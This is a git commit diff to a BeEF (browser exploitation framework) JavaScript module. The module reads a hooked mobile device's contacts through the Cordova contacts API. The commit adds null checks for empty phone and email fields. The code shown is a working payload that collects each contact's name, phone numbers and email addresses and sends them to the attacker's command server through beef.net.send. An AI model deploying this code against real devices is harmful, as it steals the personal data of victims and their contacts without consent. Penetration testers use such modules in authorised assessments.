Fixing bug when email or phone number is empty

This commit is contained in:
Sergey Gorbaty
2014-08-21 11:20:48 -07:00
parent 8ccc8f8b2e
commit 9942edc118

View File

@@ -14,13 +14,17 @@ beef.execute(function() {
for (var i=0; i<contacts.length; i++) {
result = contacts[i].displayName;
for (var j=0; j<contacts[i].phoneNumbers.length; j++) {
result = result + ' #:' + contacts[i].phoneNumbers[j].value;
}
if (contacts[i].phoneNumbers != null) {
for (var j=0; j<contacts[i].phoneNumbers.length; j++) {
result = result + ' #:' + contacts[i].phoneNumbers[j].value;
}
}
for (var j=0; j<contacts[i].emails.length; j++) {
result = result + ' @:' + contacts[i].emails[j].value;
}
if (contacts[i].emails != null) {
for (var j=0; j<contacts[i].emails.length; j++) {
result = result + ' @:' + contacts[i].emails[j].value;
}
}
beef.net.send("<%= @command_url %>", <%= @command_id %>, 'result='+result );
@@ -40,4 +44,4 @@ beef.execute(function() {
navigator.contacts.find(fields, onSuccess, onError, options);
});
});